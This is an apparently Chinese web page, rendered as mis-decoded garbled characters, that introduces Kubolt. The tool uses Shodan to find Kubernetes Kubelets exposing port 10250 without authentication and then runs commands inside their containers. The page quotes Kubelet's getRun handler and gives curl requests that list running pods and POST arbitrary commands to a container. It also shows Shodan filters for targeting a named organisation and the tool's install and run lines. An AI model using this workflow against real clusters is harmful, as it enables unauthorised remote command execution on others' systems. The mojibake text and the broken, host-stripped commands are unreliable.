Kubolt 锛氬彲鐢ㄤ簬鎵弿寮€鏀綤ubernetes闆嗙兢

褰撳墠浣嶇疆锛?a href="a> > 杞欢浠撳簱 > 榛戝宸ュ叿 > Kubolt 锛氬彲鐢ㄤ簬鎵es闆嗙兢鐨勫疄鐢ㄥ伐鍏?
Kubolt 锛氬彲鐢ㄤ簬鎵es闆嗙兢鐨勫疄鐢ㄥ伐鍏?/strong>

浠婂ぉ缁欏ぇ瀹朵粙缁嶇殑鏄竴娆惧悕鍙?a target="_blank" href="tag/kubolt" title="鏌ョ湅鎵€鏈変笌 Kubolt 鏈夊叧鐨勬枃绔?>Kubolt鐨勫疄鐢ㄥ伐鍏凤紝骞垮ぇ鐮旂┒es闆嗙兢鎵ц瀹夊叏鎵弿浠诲姟銆?/b>

Kubolt 锛氬彲鐢ㄤ簬鎵es闆嗙兢鐨勫疄鐢ㄥ伐鍏?鐥寸棿璧勬簮缃? src=

Kubolt鏄竴娆惧彲浠ョ敤鏉ュ鍏叡鏈es闆嗙兢杩涜瀹夊叏鎵弿鐨勫疄鐢ㄥ伐鍏凤紝瀹冨厑璁告垜浠洿鎺ュ湪瀹瑰櫒鍐呰繍琛屾帶鍒跺懡浠ゃ€?/p>

鏌愪簺鎯呭喌涓嬶紝Kubelet绔彛10250鏄紑鏀剧殑骞舵帴鍙楁湭璁よ瘉鐨勮闂姹傦紝杩欐牱鎴戜滑灏卞彲浠ヤ娇鐢╧ubelet鐨刧etrun鍑芥暟鏉ュ湪瀹瑰櫒鍐呴儴鎵ц鎿嶄綔鍛戒护浜嗭細


//getRun handles requests to mand inside a container.


func(s *Server) getRun(request *restful.Request, response *restful.Response) {


params := getExecRequestParams(request)


pod, ok := s.host.GetPodByName(params.podNamespace,params.podName)


if !ok {


response.WriteError(http.StatusNotFound,fmt.Errorf("pod does not exist"))


return


}


杩愯鏈哄埗鍙婁娇鐢ㄦ柟寮?/h2>

鍩虹璇锋眰绀轰緥锛?/p>

ssl:trueport:10250 404

Kubelet榛樿浣跨敤SSL浠ュ強绔彛10250锛屽叾涓殑404鎸囩殑鏄娇鐢ㄦ病鏈塙RL璺緞鐨凥TTP鍝嶅簲銆?/p>

Kubolt浼氶€氳繃Shodan API鏉ヨ姹傝幏鍙栦竴浠絀P鍦板潃鍒楄〃锛屽苟淇濆瓨涓嬫潵浠ヤ緵鍚庣画鍏紑璧勬簮鎯呮姤璋冩煡娲诲姩鐨勪娇鐢ㄣ€?/p>

棣栧厛锛屾垜浠彲浠ヨ繍琛孠ubelet骞惰繃婊ゆ帀璇锋眰涓笉鍖呭惈Unauthorized浣嗗寘鍚玞ontainer鐨勪富鏈猴紝鐒跺悗鐩存帴鍦ㄥ鍣ㄥ唴杩愯鍛戒护锛?/p>

curl -k runningpods/

褰撶劧浜嗭紝浣犺繕鍙互鍒╃敤涓嬪垪璇锋眰鑾峰彇鎵€鏈夊彲鐢ㄧ殑Pods锛?/p>

curl-k pods/

鎴?/p>

curlpods/

鎺ヤ笅鏉ワ紝Kubolt浼氬涓绘満杩斿洖鐨勫搷搴斾俊鎭繘琛?a target="_blank" href="tag/%e8%a7%a3%e6%9e%90" title="鏌ョ湅鎵€鏈変笌 瑙f瀽 鏈夊叧鐨勬枃绔?>瑙f瀽锛屽苟鐢熸垚濡備笅鎵€绀虹殑鏂拌姹傦細

curl -XPOST -krun/ namespace / PodName / containerName -d cmd= command-to-run 

浣犺繕鍙互浣跨敤濡備笅Shodan杩囨护鍣ㄦ潵閽堝浼佷笟缁勭粐缃戠粶杩涜鏇村姞绮惧噯鐨勫畨鍏ㄦ壂鎻忥細

-asn

-org

-country

-net

宸ュ叿瀹夎

mkdir output


pip install -r requirements.txt


宸ュ叿杩愯
python kubolt.py --query :'ACME Corporation' 

鎴?/p>

pythonkubolt.py --:'ACME Corporation' country:UK 

Shodan

Kubolt浣跨敤浜哠hodan API浠ュ強鐩稿簲鐨凲uery Credits锛屽鏋滀綘鍦ㄦ病鏈夐厤缃姹傝繃婊ゅ櫒鐨勬儏鍐典笅杩愯浜嗚宸ュ叿锛岄偅浣犳湁鍙兘浼氳Е鍙戜綘鎵€鏈夌殑Credits銆?/p> 椤圭洰鍦板潃

Kubolt锛氥€?a href="averonesis/kubolt">GitHub浼犻€侀棬銆?b>* 鍙傝€冩潵婧愶細averonesis


鍏嶈垂涓嬭浇鎴栬€呰吹瀹句細鍛樹笓浜祫婧愯兘鍚︾洿鎺ュ晢鐢紵鏈珯鎵€鏈夎祫婧愮増鏉冨潎灞炰簬鍘熶綔鑰呮墍鏈夛紝鎻愪緵璧勬簮鍧囧彧鑳界敤浜庡弬鑰冨涔犵敤锛岃鍕跨洿鎺ュ晢鐢ㄣ€傝嫢鐢变簬鍟嗙敤寮曡捣鐗堟潈绾犵悍锛屼竴鍒囪矗浠诲潎鐢变娇鐢ㄨ€呮壙鎷呫€傛洿澶氳鏄庤鍙傝€?銆婂厤璐e0鏄庛€嬨€?/dd>鐐瑰嚮涓嬭浇閾炬帴涓嶈烦杞€庝箞鍥炰簨锛?/dt>鎮ㄥソ锛孮Q鍐呮墦寮€鏄笉璺宠浆鐨勶紝涓€灏戦儴鍒嗘祻瑙堝櫒涔熶笉璺宠浆锛屼竴鑸殑UC浜?鎼滅嫍 360绛夋祻瑙堝櫒閮藉彲浠ヨ烦杞€?/dd>鍙互鐩存帴鎶婅祫婧愬彂缁欐垜鍚楋紵鎮ㄥソ锛屼粯璐硅祫婧愬彲浠ョ洿鎺ユ妸閾炬帴鍙戦€佺粰鎮紝鍏嶈垂璧勬簮涓嶆彁渚涗换浣曞府鍔╋紝杞欢璧勬簮鑷祴锛屾垨鑰呰绔欓暱鍠濈孩鐗涳紒